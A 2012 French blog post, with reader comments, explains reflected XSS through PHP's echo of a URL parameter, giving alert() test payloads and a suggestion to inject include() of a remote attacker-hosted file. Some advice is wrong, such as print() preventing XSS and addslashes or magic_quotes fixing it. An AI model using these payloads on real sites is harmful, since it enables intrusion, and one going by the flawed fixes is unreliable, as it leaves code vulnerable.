lundi 31 décembre 2012

Attaque de type XSS par echo()

echo en PHP permet l'affichage de texte. Elle n’est pas une fonction proprement dite puisque nous n’avons pas besoin d’utiliser des parenthèses lors de son appel.  
Le texte peut être représenté par une variable qui sera définie lors de l'appel de la page via une chaine de requête:
http://www.monsite.net/admin.php?page=2&titre=Presentation+monsite

La page2.php est incluse dans admin.php et il y aura probablement un appel du titre selon la forme : <?php echo $titre ?>

Cette page aura pour titre "Presentation monsite".

On change maintenant l'URL dans la barre d'adresse:
http://www.monsite.net/admin.php?page=2&titre=Votre+presentation

La page aura donc pour titre "Votre presentation".

On a pu nous-mêmes changer le titre de la page. Jusqu'au là rien n’est vraiment grave. On va essayer maintenant d’injecter du code. Pour vérifier si le développeur n’a pas pensé à sécuriser son code, on essayera avec cet url :   
http://www.monsite.net/admin.php?page=2&titre=<script>alert("Bonjour !")</script>

Si la page affiche une boite de dialogue "Bonjour !", c’est que nous pourrons nous régaler.
Si par contre, notre script apparait sur la page en titre, c'est foiré.

On n'a plus qu'à remplacer le titre par, par exemple, une fonction include() :
include("http://www.votresite.net/votrecode.php")

De cette façon, la page votrecode.php de votre site (votresite.net) apparaitra dans la page de la victime, à la place du titre. votrecode.php peut bien entendu contenir du code pour afficher une table de la base de données ou bloquer l’excusions la page elle-même.
Je traiterai plus en détails la commande include() dans un autre article.

On peut aussi utiliser la faille echo dans un moteur de recherche interne interne par le même principe. Si par exemple,  le site www.monsite.net propose un moteur de recherche interne pour ses produits, on peut tester la faille en entrant ce mot clé:
<script>alert("Bonjour !")</script>

Si on aura une phrase du type "Le produit recherché [<script>alert("Bonjour !")</script>] n'a pas été trouvé.", c'est que c'est foiré, le script est sécurisé. Si on aura notre boite de dialogue, on pourra  facilement injecter du code avec echo().
Donc en conclusion, pour sécuriser notre code il vaut mieux utiliser la fonction print() au lieu d’echo() :
<?php print htmlentities($titre) ?>.
Cette fonction transforme les caractères de la chaine en entités html, le code n'est donc plus interprété en tant que tel.
Bien entendu, il existe maintes solutions pour sécuriser cette faille, comme l'ajout de slashes à l'aide de addslashes() et personnellement j’utilise souvent cette méthode.

Vous pouvez également activer l'option MAGIC_QUOTES dans votre php.ini (MAGIC_QUOTES = on).

5 commentaires:

  1. Trés bon article !
    Cependant MAGIC_QUOTES est obsolète ! Et son utilisation est dangereux !
    Donc il vaut mieux utilisé htmlentities/htmlspecialchars (je conseille htmlspecialchars) + stripslashes quand on veut affichier mais, il faut au préalable avoir protégé les informations entré par un addslashes.

    http://php.net/manual/fr/security.magicquotes.php
    Merci Wafa AY.

    RépondreSupprimer
  2. Dans l'article, je vois pas la différence entre le print et le echo, au final c'est htmlentities qui fait le boulot et la différence, pas print.
    Peut-être que je me trompe, mais du coup c'est mal formulé dans l'article.

    RépondreSupprimer
  3. Elle n'a pas tout à fait tort, print protege ce genre d'attaque (XSS) donc oui c'est une faille echo !
    Teste chez toi avec ce simple code :

    et fait localhost/page.php?url=alert("Bonjour !")
    PS: supprime les *, car le formulaire m'interdit de les mettre

    RépondreSupprimer
  4. Euh désoler ça a supprimé mon code :
    Met un simple print avec $_GET['url']

    RépondreSupprimer
  5. print me produit la même sortie, je vois pas en quoi print protège mieux que echo...

    RépondreSupprimer